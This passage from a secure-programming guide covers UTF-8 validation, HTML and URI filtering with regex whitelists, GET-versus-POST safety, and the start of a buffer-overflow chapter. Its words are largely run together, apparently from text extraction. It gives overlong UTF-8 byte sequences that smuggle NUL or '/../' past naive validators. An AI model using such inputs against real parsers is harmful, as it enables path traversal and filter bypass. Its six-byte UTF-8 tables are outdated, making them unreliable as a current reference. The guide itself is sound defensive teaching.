4.8.2. Intr oduction to UTF-8
Most softwareis not designedto handle16bit or 32 bit characters,yet to createa
universalcharactersetmorethan8 bits wasrequired.Therefore,aspecialformatcalled
“UTF-8” wasdevelopedto encodethesepotentiallyinternationalcharactersin a format
moreeasilyhandledby existingprogramsandlibraries.UTF-8 is defined,amongother
places,in IETF RFC2279,soit’ sawell-definedstandardthatcanbefreely readand
used.UTF-8 is avariable-widthencoding;charactersnumbered0 to 0x7f (127)encode
to themselvesasasinglebyte,while characterswith largervaluesareencodedinto 2 to
6 bytesof information(dependingon their value).Theencodinghasbeenspecially
designedto have thefollowing niceproperties(this informationis from theRFCand
Linux utf-8 manpage):

• TheclassicalUSASCII characters(0 to 0x7f) encodeasthemselves,sofilesand
stringswhich containonly 7-bit ASCII charactershave thesameencodingunder
bothASCII andUTF-8.This is fabulousfor backwardscompatibilitywith themany
existingU.S.programsanddatafiles.

• All UCScharactersbeyond0x7f areencodedasamultibytesequenceconsisting
only of bytesin therange0x80to 0xfd. ThismeansthatnoASCII bytecanappearas
partof anothercharacter. Many otherencodingspermitcharacterssuchasan
embeddedNIL, causingprogramsto fail.

• It’ seasyto convert betweenUTF-8 anda2-byteor 4-bytefixed-width
representationsof characters(thesearecalledUCS-2andUCS-4respectively).

• Thelexicographicsortingorderof UCS-4stringsis preserved,andtheBoyer-Moore
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fastsearchalgorithmcanbeuseddirectlywith UTF-8data.

• All possible2^31UCScodescanbeencodedusingUTF-8.

• Thefirst byteof amultibytesequencewhich representsasinglenon-ASCIIUCS
characteris alwaysin therange0xc0to 0xfd andindicateshow long this multibyte
sequenceis. All furtherbytesin amultibytesequencearein therange0x80to 0xbf.
Thisallowseasyresynchronization;if abyteis missing,it’ seasyto skip forwardto
the“next” character, andit’ salwayseasyto skip forwardandbackto the“next” or
“preceding”character.

In short,theUTF-8 transformationformatis becomingadominantmethodfor
exchanginginternationaltext informationbecauseit cansupportall of theworld’s
languages,yet it is backwardcompatiblewith U.S.ASCII filesaswell ashaving other
niceproperties.For many purposesI recommendits use,particularlywhenstoringdata
in a “text” file.

4.8.3. UTF-8 Security Issues
Thereasonto mentionUTF-8 is thatsomebytesequencesarenot legalUTF-8,andthis
might beanexploitablesecurityhole.TheRFCnotesthefollowing:

Implementorsof UTF-8 needto considerthesecurityaspectsof how they handleillegal
UTF-8sequences.It is conceivablethatin somecircumstancesanattackerwouldbeableto
exploit anincautiousUTF-8 parserby sendingit anoctetsequencethatis notpermittedby
theUTF-8syntax.

A particularlysubtleform of this attackcouldbecarriedoutagainstaparserwhich
performssecurity-criticalvalidity checksagainsttheUTF-8encodedform of its input,but
interpretscertainillegaloctetsequencesascharacters.For example,aparsermightprohibit
theNUL characterwhenencodedasthesingle-octetsequence00,but allow theillegal
two-octetsequenceC080andinterpretit asaNUL character. Anotherexamplemight bea
parserwhich prohibitstheoctetsequence2F2E2E2F("/../"), yetpermitstheillegaloctet
sequence2FC0AE 2E2F.

A longerdiscussionaboutthis is availableat MarkusKuhn’sUTF-8 andUnicodeFAQ
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for Unix/Linuxat http://www.cl.cam.ac.uk/~mgk25/unicode.html.

4.8.4. UTF-8 Legal Values
Thus,whenacceptingUTF-8 input,you needto checkif it’ s valid UTF-8.Hereis a list
of all legalUTF-8sequences;any charactersequencenotmatchingthis tableis nota
legalUTF-8sequence.In thefollowing table,thefirst threerows list thelegalUTF-8
sequencesin binary, hexadecimal,andoctal.Thelastrow lists theUCScoderegion that
thesequenceencodesto (in hexadecimal).In thebinarycolumn,the“x” indicatesthat
eithera0 or 1 is legal in thesequence.In theothercolumns,a “-” indicatesa rangeof
legalvalues(inclusive).Of course,justbecauseasequenceis a legalUTF-8sequence
doesn’t meanthatyoushouldacceptit (seetheotherissuesdiscussedin this book).

Table 4-1.Legal UTF-8 Sequences

Binary Hexadecimal Octal Decimal UCS Code
(Hex)

0xxxxxxx 00-7F 0-177 0-127 0000000-
0000007F

110xxxxx
10xxxxxx

C0-DF 80-BF 300-337200-277192-223128-19100000080-
000007FF

1110xxxx
10xxxxxx
10xxxxxx

E0-EF 80-BF
80-BF

340-357200-277
200-277

224-239128-191
128-191

00000800-
0000FFFF

11110xxx
10xxxxxx
10xxxxxx
10xxxxxx

F0-F7 80-BF
80-BF80-BF

360-367200-277
200-277200-277

240-247128-191
128-191128-191

00010000-
001FFFFF

63



Chapter4. ValidateAll Input

Binary Hexadecimal Octal Decimal UCS Code
(Hex)

111110xx
10xxxxxx
10xxxxxx
10xxxxxx
10xxxxxx

F8-FB 80-BF
80-BF80-BF
80-BF

370-373200-277
200-277200-277
200-277

248-251128-191
128-191128-191
128-191

00200000-
03FFFFFF

1111110x
10xxxxxx
10xxxxxx
10xxxxxx
10xxxxxx
10xxxxxx

FC-FD 80-BF
80-BF80-BF
80-BF80-BF

374-375200-277
200-277200-277
200-277200-277

252-253128-191
128-191128-191
128-191128-191

04000000-
7FFFFFFF

I shouldnotethatin somecases,you mightwantto cut slack(or useinternally)the
hexadecimalsequenceC080.This is anoverlongsequencethat,if permitted,can
representASCII NUL (NIL). SinceC andC++ have troubleincludingaNIL character
in anordinarystring,somepeoplehave takento usingthis sequencewhenthey wantto
representNIL aspartof thedatastream;Javaevenenshrinesthepractice.Feelfreeto
useC080 internallywhile processingdata,but technicallyyou really shouldtranslate
this backto 00beforesaving thedata.Dependingonyour needs,youmightdecideto
be“sloppy” andacceptC0 80asinput in aUTF-8datastream.If it doesn’t harm
security, it’ sprobablyagoodpracticeto acceptthis sequencesinceacceptingit aids
interoperability.

4.8.5. UTF-8 Illegal Values
TheUTF-8charactersetis onecasewhereit’ spossibleto enumerateall illegalvalues
(andprove thatyou’veenumeratedthemall). Youdetectanillegalsequenceby
checkingfor two things:(1) is theinitial sequencelegal,and(2) if it is, is thefirst byte
followedby therequirednumberof valid continuationcharacters?Performingthefirst
checkis easy;thefollowing is provably thecompletelist of all illegalUTF-8 initial
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sequences:

Table 4-2. Illegal UTF-8 initial sequences

UTF-8 Sequence Reasonfor Illegality

10xxxxxx illegal asinitial byte of character
(80..BF)

1100000x illegal, overlong (C0 80..BF)

11100000100xxxxx illegal, overlong (E0 80..9F)

111100001000xxxx illegal, overlong (F0 80..8F)

1111100010000xxx illegal, overlong (F8 80..87)

11111100100000xx illegal, overlong (FC 80..83)

1111111x illegal; prohibited by spec

Thesecondstepis to checkif thecorrectnumberof continuationcharactersare
includedin thestring.If thefirst bytehasthetop2 bits set,youcountthenumberof
“one” bits setafterthetopone,andthencheckthattherearethatmany continuation
byteswhich begin with thebits “10”. So,binary11100001requirestwo more
continuationbytes.

Again,althoughC080 is technicallyanillegalUTF-8sequence,for interoperability
purposesyou mightwantto acceptit asasynonym for character0 (NIL).

4.8.6. UTF-8 Related Issues
ThissectionhasdiscussedUTF-8,becauseit’ s themostpopularmultibyteencodingof
UCS,simplifying a lot of internationaltext handlingissues.However, it’ scertainlynot
theonly encoding;thereareotherencodings,suchasUTF-16andUTF-7,whichhave
thesamekindsof issuesandmustbevalidatedfor thesamereasons.

Anotherissueis thatsomephrasescanbeexpressedin morethanoneway in ISO
10646/Unicode.For example,someaccentedcharacterscanberepresentedasa single
character(with theaccent)andalsoasasetof characters(e.g.,thebasecharacterplusa
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separatecomposingaccent).Thesetwo formsmayappearidentical.There’s alsoa
zero-widthspacethatcouldbeinserted,with theresultthatapparently-similaritemsare
considereddifferent.Bewareof situationswheresuchhiddentext couldinterferewith
theprogram.This is anissuethatin generalis hardto solve;mostprogramsdon’t have
suchtight controlover theclientsthatthey know completelyhow aparticularsequence
will bedisplayed(sincethis dependson theclient’s font, displaycharacteristics,locale,
andsoon).

4.9. Prevent Cross-site Malicious Content
on Input
Someprogramsacceptdatafrom oneuntrusteduserandpassthatdataon to asecond
user;theseconduser’sapplicationmaythenprocessthatdatain awayharmfulto the
seconduser. This is aparticularlycommonproblemfor webapplications,we’ll call this
problem“cross-sitemaliciouscontent.” In short,you cannotacceptinput (including
any form data)without checking,filtering, or encodingit. For moreinformation,see
Section6.11.

Fundamentally, this meansthatall webapplicationinput mustbefiltered(socharacters
thatcancausethis problemareremoved),encoded(sothecharactersthatcancausethis
problemareencodedin away to preventtheproblem),or validated(to ensurethatonly
“safe” datagetsthrough).Filteringandvalidationshouldoftenbedoneat theinput,but
encodingcanbedoneeitherat inputor outputtime. If you’re just passingthedata
throughwithoutanalysis,it’ sprobablybetterto encodethedataon input (soit won’t be
forgotten),but if you’reprocessingthedata,thereareargumentsfor encodingonoutput
instead.

4.10. Filter HTML/URIs That May Be
Re-presented
Onespecialcasewherecross-sitemaliciouscontentmustbepreventedareweb
applicationswhicharedesignedto acceptHTML or XHTML from oneuser, andthen
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sendit on to otherusers(seeSection6.11for moreinformationoncross-sitemalicious
content).Thefollowing subsectionsdiscussfiltering this specifickind of input,since
handlingit is suchacommonrequirement.

4.10.1. Remove or Forbid Some HTML Data
It’ s safestto removeall possible(X)HTML tagssothey cannotaffectanything,andthis
is relatively easyto do.As notedabove,you shouldalreadybeidentifying thelist of
legalcharacters,andrejectingor removing thosecharactersthataren’t in thelist. In this
filter, simplydon’t includethefollowing charactersin thelist of legal characters:“<”,
“>”, and“&” (andif they’reusedin attributes,thedouble-quotecharacter“"”). If
browsersonly operatedaccordingtheHTML specifications,the“>"” wouldn’t needto
beremoved,but in practiceit mustberemoved.This is becausesomebrowsersassume
thattheauthorof thepagereally meantto put in anopening"<" and“helpfully” insert
one- attackerscanexploit this behavior andusethe">" to createanundesired"<".

Usuallythecharactersetfor transmittingHTML is ISO-8859-1(evenwhensending
internationaltext), sothefilter shouldalsoomit mostcontrolcharacters(linefeedand
tabareusuallyokay)andcharacterswith their high-orderbit set.

Oneproblemwith this approachis thatit canreally surpriseusers,especiallythose
enteringinternationaltext if all internationaltext is quietly removed.If theinvalid
charactersarequietly removedwithoutwarning,thatdatawill beirrevocablylostand
cannotbereconstructedlater. Onealternative is forbiddingsuchcharactersandsending
errormessagesbackto userswhoattemptto usethem.Thisat leastwarnsusers,but
doesn’t give themthefunctionalitythey werelooking for. Otheralternativesare
encodingthis dataor validatingthis data,whicharediscussednext.

4.10.2. Encoding HTML Data
An alternative thatis nearlyassafeis to transformthecritical characterssothey won’t
have theirusualmeaningin HTML. Thiscanbedoneby translatingall "<" into "&lt;",
">" into "&gt;", and"&" into "&amp;". Arbitrary internationalcharacterscanbe
encodedin Latin-1usingtheformat"&#value;"- do not forgettheendingsemicolon.
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Encodingtheinternationalcharactersmeansyou mustknow whattheinput encoding
was,of course.

Onepossibledangerhereis thatif theseencodingsareaccidentallyinterpretedtwice,
they will becomeavulnerability. However, this approachat leastpermitslaterusersto
seethe"intent" of theinput.

4.10.3. Validating HTML Data
Someapplications,to work at all, mustacceptHTML from third partiesandsendthem
on to their users.Beware- youaretreadingdangerousgroundat this point; besurethat
you reallywantto do this.Eventheideaof acceptingHTML from arbitraryplacesis
controversialamongsomesecuritypractitioners,becauseit is extremelydifficult to get
it right.

However, if yourapplicationmustacceptHTML, andyoubelieve thatit’ sworth the
risk, at leastidentify a list of “safe” HTML commandsandonly permitthose
commands.

Hereis aminimal setof safeHTML tagsthatmightbeusefulfor applications(suchas
guestbooks)thatsupportshortcomments:<p> (paragraph),<b> (bold),<i> (italics),
<em>(emphasis),<strong>(strongemphasis),<pre>(preformattedtext), <br> (forced
line break),aswell asall theirendingtags.

Not only doyou needto ensurethatonly asmallsetof “safe” HTML commandsare
accepted,youalsoneedto ensurethatthey areproperlynestedandclosed.In XML,
this is termed“well-formed” data.A few exceptionscouldbemadeif you’reaccepting
standardHTML (e.g.,supportinganimplied</p> wherenotprovidedbeforea<p>
wouldbefine),but trying to acceptHTML in its full generalityis notneededfor most
applications.Indeed,if you’re trying to stick to XHTML (insteadof HTML), then
well-formednessis a requirement.Also, HTML permitstagsto beuppercase,lower
case,or a mixture;youcouldacceptany caseaswell, but if you intendfor this to be
usedfor XML thenyouneedto requireall tagsto bein lowercase.

Herearea few randomtips aboutdoingthis.Usuallyyoushoulddesignwhatever
surroundstheHTML text andthesetof permittedtagssothatthecontributedtext
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nameactuallyhasa fairly limited characterset(usingtheDNSstandards).
Technically, thestandarddoesn’t permittheunderscore(“_”) character, but
Microsoft ignoredthis partof thestandardandevenrequirestheuseof the
underscorein somecircumstances,soyouprobablyshouldallow it. Also, there’s
beenagreatdealof work onsupportinginternationalcharactersin DNSnames,
which is not furtherdiscussedhere.

• Path:Permittingapathis usuallyokay, but unfortunatelysomeapplicationsusepart
of thepathasquerydata,creatinganopeningwe’ll discussnext. Also, pathsare
allowedto containphraseslike “..”, which canexposeprivatedatain a
poorly-writtenwebserver; this is lessaproblemthanit oncewasandreallyshould
befixedby thewebserver. Sinceit’ sonly thephrase“..” that’sspecial,it’ s
reasonableto look at paths(andpossiblyquerydata)andforbid “../” asacontent.
However, if your validatorpermitsURL escapes,this canbedifficult; now youneed
to preventversionswheresomeof thesecharactersareescaped,andmayalsohave to
dealwith various“ille gal” characterencodingsof thesecharactersaswell.

• Query:Queryformats(beginningwith "?") canbea securityrisk becausesome
queryformatsactuallycauseactionsto occuron theservingend.They shouldn’t,
andyourapplicationsshouldn’t, asdiscussedin Section4.11for moreinformation.
However, wehave to acknowledgethereality asa seriousproblem.In addition,
many websitesareactually“redirectors”- they takeaparameterspecifyingwhere
theusershouldberedirected,andsendbacka commandredirectingtheuserto the
new location.If anattacker referencessuchsitesandprovidesamoredangerousURI
astheredirectionvalue,andthebrowserblithely obeys theredirection,this couldbe
aproblem.Again, theuser’s browsershouldbemorecareful,but notall user
browsersaresufficiently cautious.Also, many webapplicationshavevulnerabilities
thatcanbeexploitedwith certainqueryvalues,but in generalthis is hardto prevent.
Theofficial URI specificationsdon’t sanctionthe“+” (plus)character, but in practice
the“+” characteroftenrepresentsthespacecharacter.

• Fragment:Fragmentsbasicallylocateaportionof adocument;I’m unawareof an
attackbasedon fragmentsaslongasthesyntaxis legal,but thelegality of its syntax
doesneedchecking.Otherwise,anattackermight beableto insertacharactersuch
asthedouble-quote(") andprematurelyendtheURI (foiling any checking).
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• URL escapes:URL escapesareusefulbecausethey canrepresentarbitrary8-bit
characters;they canalsobeverydangerousfor thesamereasons.In particular, URL
escapescanrepresentcontrolcharacters,whichmany poorly-writtenweb
applicationsarevulnerableto. In fact,with or withoutURL escapes,many web
applicationsarevulnerableto certaincharacters(suchasbackslash,ampersand,etc.),
but againthis is difficult to generalize.

• RelativeURIs: RelativeURIsshouldbereasonablysafe(if you managethewebsite
well), althoughin someapplicationsthere’s nogoodreasonto allow themeither.

Of course,thereis a trade-off with simplicity aswell. Simplepatternsareeasierto
understand,but they aren’t very refined(sothey tendto betoo permissiveor too
restrictive,evenmorethana refinedpattern).Complex patternscanbemoreexact,but
they aremorelikely to haveerrors,requiremoreperformanceto use,andcanbehardto
implementin somecircumstances.

Here’s my suggestionfor a “simple mostlysafe”URI patternwhich is verysimpleand
canbeimplemented“by hand”or througha regularexpression;permitthefollowing
pattern:

(http|ftp|https)://[-A-Za-z0-9._/]+

Thispatterndoesn’t permitmany potentiallydangerouscapabilitiessuchasqueries,
fragments,ports,or relativeURIs,andit only permitsa few schemes.It preventsthe
useof the“%” character, which is usedin URL escapesandcanbeusedto specify
charactersthattheservermaynotbepreparedto handle.Sinceit doesn’t permiteither
“:” or URL escapes,it doesn’t permitspecifyingport numbers,andevenusingit to
redirectto amoredangerousURI wouldbedifficult (dueto thelackof theescape
character).It alsopreventstheuseof anumberof othercharacters;again,many
poorly-designedwebapplicationscan’t handleanumberof “unexpected”characters.

Eventhis “mostly safe”URI permitsa numberof questionableURIs,suchas
subdirectories(via “/”) andattemptsto moveup directories(via ‘..”); illegalqueriesof
this kind shouldbecaughtby theserver. It permitssomeillegalhostidentifiers(e.g.,
“20.20”), thoughI know of no casewherethis wouldbeasecurityweakness.Some
webapplicationstreatsubdirectoriesasquerydata(or worse,ascommanddata);this is
hardto preventin generalsincefinding “all poorly designedwebapplications”is
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hopeless.You couldpreventtheuseof all paths,but this wouldmake it impossibleto
referencemostInternetinformation.Thepatternalsoallows referencesto local server
information(throughpatternssuchas"http:///", "http://localhost/",and
"http://127.0.0.1")andaccessto serverson aninternalnetwork; hereyou’ll have to
dependon theserverscorrectlyinterpretingtheresultingHTTP GETrequestassolelya
requestfor informationandnota requestfor anaction,asrecommendedin Section
4.11.Sincequeryformsaren’t permittedby thispattern,in many environmentsthis
shouldbesufficient.

Unfortunately, the“mostly safe”patternalsopreventsanumberof quitelegitimateand
usefulURIs.For example,many websitesusethe“?” characterto identify specific
documents(e.g.,articleson anewssite).The“#” characteris usefulfor specifying
specificsectionsof adocument,andpermittingrelativeURIscanbehandyin a
discussion.VariouspermittedcharactersandURL escapesaren’t includedin the
“mostly safe”pattern.For example,without permittingURL escapes,it’ sdifficult to
accessmany non-Englishpages.If you truly needsuchfunctionality, thenyou canuse
lesssafepatterns,realizingthatyou’reexposingyour usersto higherrisk while giving
your usersgreaterfunctionality.

Onepatternthatpermitsqueries,but at leastlimits theprotocolsandportsusedis the
following, which I’ ll call the“simple somewhatsafepattern”:

(http|ftp|https)://[-A-Za-z0-9._]+(\/([A-Za-z0-9\-\_\.\!\~\*\’\(\)\%\?]+))*/?

Thispatternactuallyisn’t verysmart,sinceit permitsillegalescapes,mutiplequeries,
queriesin ftp, andsoon. It doeshave theadvantageof beingrelatively simple.

Creatinga “somewhatsafe”patternthatreally limits URIs to legalvaluesis quite
difficult. Here’s my currentattemptto do so,which I call the“sophisticatedsomewhat
safepattern”,expressedin a form wherewhitespaceis ignoredandcommentsare
introducedwith "#":

(
(
# Handle http, https, and relative URIs:
((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|

([A-Za-z0-9\-\_\.\!\~\*\’\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
((/([A-Za-z0-9\-\_\.\!\~\*\’\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
(\?( # query:

(([A-Za-z0-9\-\_\.\!\~\*\’\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
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([A-Za-z0-9\-\_\.\!\~\*\’\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+
(\&([A-Za-z0-9\-\_\.\!\~\*\’\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
([A-Za-z0-9\-\_\.\!\~\*\’\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*)

|
(([A-Za-z0-9\-\_\.\!\~\*\’\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+ # isindex
)

))?
(\#([A-Za-z0-9\-\_\.\!\~\*\’\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment

)|
# Handle ftp:
(ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
((/([A-Za-z0-9\-\_\.\!\~\*\’\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
(\#([A-Za-z0-9\-\_\.\!\~\*\’\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
)

)

Eventhesophisticatedpatternshown abovedoesn’t forbid all illegalURIs.For
example,again,"20.20" isn’t a legaldomainname,but it’ sallowedby thepattern;
however, to my knowledgethis shouldn’t causeany securityproblems.The
sophisticatedpatternforbidsURL escapesthatrepresentcontrolcharacters(e.g.,%00
through$1F)- thesmallestpermittedescapevalueis %20(ASCII space).Forbidding
controlcharacterspreventssometrouble,but it’ salsolimiting; change"2-9" to "0-9"
everywhereif youneedto supportsendingall controlcharactersto arbitraryweb
applications.Thispatterndoespermitall otherURL escapevaluesin paths,which is
usefulfor internationalcharactersbut couldcausetroublefor a few systemswhich
can’t handleit. Thepatternat leastpreventsspaces,linefeeds,double-quotes,andother
dangerouscharactersfrom beingin theURI, whichpreventsotherkindsof attacks
whenincorporatingtheURI into agenerateddocument.Notethatthepatternpermits
“+” in many places,sincein practicetheplusis oftenusedto replacethespace
characterin queriesandfragments.

Unfortunately, asnotedabove,thereareattackswhichcanwork throughany technique
thatpermitquerydata,andtheredon’t seemto bereally gooddefensesfor themonce
youpermitqueries.So,youcouldstripout theability to usequerydatafrom thepattern
above,but permittheotherforms,producinga “sophisticatedmostlysafe”pattern:

(
(
# Handle http, https, and relative URIs:
((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|

([A-Za-z0-9\-\_\.\!\~\*\’\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
((/([A-Za-z0-9\-\_\.\!\~\*\’\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
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(\#([A-Za-z0-9\-\_\.\!\~\*\’\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
)|

# Handle ftp:
(ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
((/([A-Za-z0-9\-\_\.\!\~\*\’\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
(\#([A-Za-z0-9\-\_\.\!\~\*\’\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
)

)

As farasI cantell, aslongasthesepatternsareonly usedto checkhypertext anchors
selectedby theuser(the"<a>" tag)thisapproachalsopreventstheinsertionof “web
bugs”.Webbugsaresimply text thatallow someoneotherthantheoriginatingweb
serverof themainpageto trackinformationsuchaswhoreadthecontentandwhen
they readit - seeSection7.6for moreinformation.This isn’t trueif you usethe<img>
(image)tagwith thesamecheckingrules- theimagetagis loadedimmediately,
permittingsomeoneto adda “web bug”. Onceagain,thispresumesthatyou’renot
permittingany attributes;many attributescanbequitedangerousandpiercethe
securityyou’re trying to provide.

Pleasenotethatall of thesepatternsrequiretheentireURI matchthepattern.An
unfortunatefactof thesepatternsis thatthey limit theallowablepatternsin away that
forbidsmany usefulones(e.g.,they preventtheuseof new URI schemes).Also, none
of themcanpreventthevery realproblemthatsomewebsitesperformmorethan
querieswhenpresentedwith aquery- andsomeof thesewebsitesareinternalto an
organization.As a result,noURI canreally besafeuntil thereareno websitesthat
acceptGETqueriesasanaction(seeSection4.11).For moreinformationaboutlegal
URLs/URIs,seeIETF RFC2396;domainnamesyntaxis furtherdiscussedin IETF
RFC1034.

4.10.5. Other HTML tags
You mightevenconsidersupportingmoreHTML tags.Obviousnext choicesarethe
list-orientedtags,suchas<ol> (orderedlist), <ul> (unorderedlist), and<li> (list item).
However, afteracertainpoint you’re really permittingfull publishing(in which case
you needto trusttheprovideror performmoreseriouscheckingthanwill bedescribed
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here).Evenmoreimportantly, everynew functionalityyou addcreatesanopportunity
for error(andexploit).

Oneexamplewouldbepermitingthe<img> (image)tagwith thesameURI pattern.It
turnsout this is substantiallylesssafe,becausethis permitsthird partiesto insert“web
bugs” into thedocument,identifyingwhoreadthedocumentandwhen.SeeSection7.6
for moreinformationon webbugs.

4.10.6. Related Issues
Webapplicationsshouldalsoexplicitly specifythecharacterset(usuallyISO-8859-1),
andnotpermitothercharacters,if datafrom untrustedusersis beingused.SeeSection
8.5 for moreinformation.

Sincefiltering this kind of input is easyto getwrong,otheralternativeshavebeen
discussedaswell. Oneoptionis to askusersto useadifferentlanguage,muchsimpler
thanHTML, thatyou’vedesigned- andyougive thatlanguagevery limited
functionality. Anotherapproachis parsingtheHTML into someinternal“safe” format,
andthentranslatingthatsafeformatbackto HTML.

Filteringcanbedoneduringinput,output,or both.TheCERT recommendsfiltering
dataduringtheoutputprocess,just beforeit is renderedaspartof thedynamicpage.
This is because,if it is donecorrectly, this approachensuresthatall dynamiccontentis
filtered.TheCERT believesthatfiltering on theinput sideis lesseffectivebecause
dynamiccontentcanbeenteredinto awebsitesdatabase(s)via methodsotherthan
HTTP, andin this case,thewebservermayneverseethedataaspartof theinput
process.Unlessthefiltering is implementedin all placeswheredynamicdatais
entered,thedataelementsmaystill beremaintainted.

However, I don’t agreewith CERT on this point for all cases.Theproblemis thatit’ s
just aseasyto forgetto filter all theoutputastheinput,andallowing “tainted” input
into your systemis adisasterwaiting to happenanyway. A secureprogramhasto filter
its inputsanyway, soit’ ssometimesbetterto includeall of thesechecksaspartof the
input filtering (sothatmaintainerscanseewhattherulesreally are).And finally, in
somesecureprogramstherearemany differentprogramlocationsthatmayoutputa
value,but only avery few waysandlocationswhereadatacanbeinput into it; in such
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casesfiltering on input maybea betteridea.

4.11. Forbid HTTP GET To Perform
Non-Queries
Web-basedapplicationsusingHTTPshouldpreventtheuseof theHTTP “GET” or
“HEAD” methodfor anythingotherthanqueries.HTTP includesanumberof different
methods;thetwo mostpopularmethodsusedareGETandPOST. BothGETandPOST
canbeusedto transmitdatafrom a form, but theGETmethodtransmitsdatain the
URL, while thePOSTmethodtransmitsdataseparately.

Thesecurityproblemof usingGET to performnon-queries(suchaschangingdata,
transferringmoney, or signingup for aservice)is thatanattackercancreateahypertext
link with aURL thatincludesmaliciousform data.If theattacker convincesavictim to
click on thelink (in thecaseof a hypertext link), or evenjust view apage(in thecase
of transcludedinformationsuchasimagesfrom HTML’s img tag),thevictim will
performaGET. WhentheGET is performed,all of theform datacreatedby the
attackerwill besentby thevictim to thelink specified.This is across-sitemalicious
contentattack,asdiscussedfurtherin Section6.11.

If theonly actionthatamaliciouscross-sitecontentattackcanperformis to make the
userview unexpecteddata,this isn’t asseriousaproblem.Thiscanstill beaproblem,
of course,sincetherearesomeattacksthatcanbemadeusingthis capability. For
example,there’s apotentiallossof privacy dueto theuserrequestingsomething
unexpected,possiblereal-world effectsfrom appearingto requestillegalor
incriminatingmaterial,or by makingtheuserrequesttheinformationin certainways
theinformationmaybeexposedto anattacker in waysit normallywouldn’t be
exposed.However, evenmoreseriouseffectscanbecausedif themaliciousattacker
cancausenot just dataviewing, but changesin data,throughacross-sitelink.

Typical HTTP interfaces(suchasmostCGI libraries)normallyhidethedifferences
betweenGET andPOST, sincefor gettingdatait’ susefulto treatthemethods“the
sameway.” However, for actionsthatactuallycausesomethingotherthanadataquery,
checkto seeif therequestis somethingotherthanPOST; if it is, simplydisplaya
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filled-in form with thedatagivenandasktheuserto confirmthatthey reallymeanthe
request.Thiswill preventcross-sitemalciouscontentattacks,while still giving users
theconvenienceof confirmingtheactionwith a singleclick.

Indeed,this behavior is stronglyrecommendedby theHTTP specification.According
to theHTTP 1.1specification(IETF RFC2616section9.1.1),“the GET andHEAD
methodsSHOULDNOT have thesignificanceof takinganactionotherthanretrieval.
Thesemethodsoughtto beconsidered"safe".Thisallowsuseragentsto representother
methods,suchasPOST, PUTandDELETE, in aspecialway, sothattheuseris made
awareof thefactthatapossiblyunsafeactionis beingrequested.”

4.12. Limit Valid Input Time and Load
Level
Placetimeoutsandloadlevel limits, especiallyon incomingnetwork data.Otherwise,
anattackermight beableto easilycauseadenialof serviceby constantlyrequesting
theservice.

Notes
1. Technically, a hypertext link canbeany “uniform resourceidentifier” (URI). The

term"Uniform ResourceLocator"(URL) refersto thesubsetof URIs thatidentify
resourcesvia a representationof theirprimaryaccessmechanism(e.g.,their
network "location"), ratherthanidentifying theresourceby nameor by someother
attribute(s)of thatresource.Many peopleusetheterm“URL” assynonymouswith
“URI”, sinceURLs arethemostcommonkind of URI. For example,theencoding
usedin URIs is actuallycalled“URL encoding”.
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An enemywill overruntheland;
hewill pull downyour
strongholdsandplunderyour
fortresses.

Amos3:11 (NIV)

An extremelycommonsecurityflaw is vulnerabilityto a “buffer overflow”. Buffer
overflowsarealsocalled“buffer overruns”,andtherearemany kindsof buffer overflow
attacks(including“stacksmashing”and“heapsmashing”attacks).Technically, a
buffer overflow is aproblemwith theprogram’s internalimplementation,but it’ s sucha
commonandseriousproblemthatI’veplacedthis informationin its own chapter. To
giveyouanideaof how importantthis subjectis, at theCERT, 9 of 13advisoriesin
1998andat leasthalf of the1999advisoriesinvolvedbuffer overflows.An informal
1999survey onBugtraqfoundthatapproximately2/3of therespondentsfelt thatbuffer
overflowsweretheleadingcauseof systemsecurityvulnerability(theremaining
respondentsidentified“misconfiguration”astheleadingcause)[Cowan1999].This is
anold, well-known problem,yet it continuesto resurface[McGraw 2000].

A buffer overflow occurswhenyouwrite asetof values(usuallyastringof characters)
into afixedlengthbuffer andwrite at leastonevalueoutsidethatbuffer’sboundaries
(usuallypastits end).A buffer overflow canoccurwhenreadinginput from theuser
into abuffer, but it canalsooccurduringotherkindsof processingin aprogram.

If asecureprogrampermitsabuffer overflow, theoverflow canoftenbeexploitedby an
adversary. If thebuffer is a localC variable,theoverflow canbeusedto forcethe
functionto runcodeof anattackers’ choosing.Thisspecificvariationis oftencalleda
“stacksmashing”attack.A buffer in theheapisn’t muchbetter;attackersmaybeable
to usesuchoverflowsto controlothervariablesin theprogram.More detailscanbe
foundfrom Aleph1[1996],Mudge[1995],or theNathanP. Smith’s "StackSmashing
SecurityVulnerabilities"websiteat http://destroy.net/machines/security/.

Most high-level programminglanguagesareessentiallyimmuneto this problem,either
becausethey automaticallyresizearrays(e.g.,Perl),or becausethey normallydetect
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andpreventbuffer overflows(e.g.,Ada95).However, theC languageprovidesno
protectionagainstsuchproblems,andC++ canbeeasilyusedin waysto causethis
problemtoo.Assemblylanguagealsoprovidesno protection,andsomelanguagesthat
normallyincludesuchprotection(e.g.,AdaandPascal)canhave this protection
disabled(for performancereasons).Evenif mostof your programis written in another
language,many library routinesarewritten in C or C++,aswell as“glue” codeto call
them,sootherlanguagesoftendon’t provideascompleteaprotectionfrom buffer
overflowsasyou’d like.

5.1. Dangers in C/C++
C usersmustavoid usingdangerousfunctionsthatdo notcheckboundsunlessthey’ve
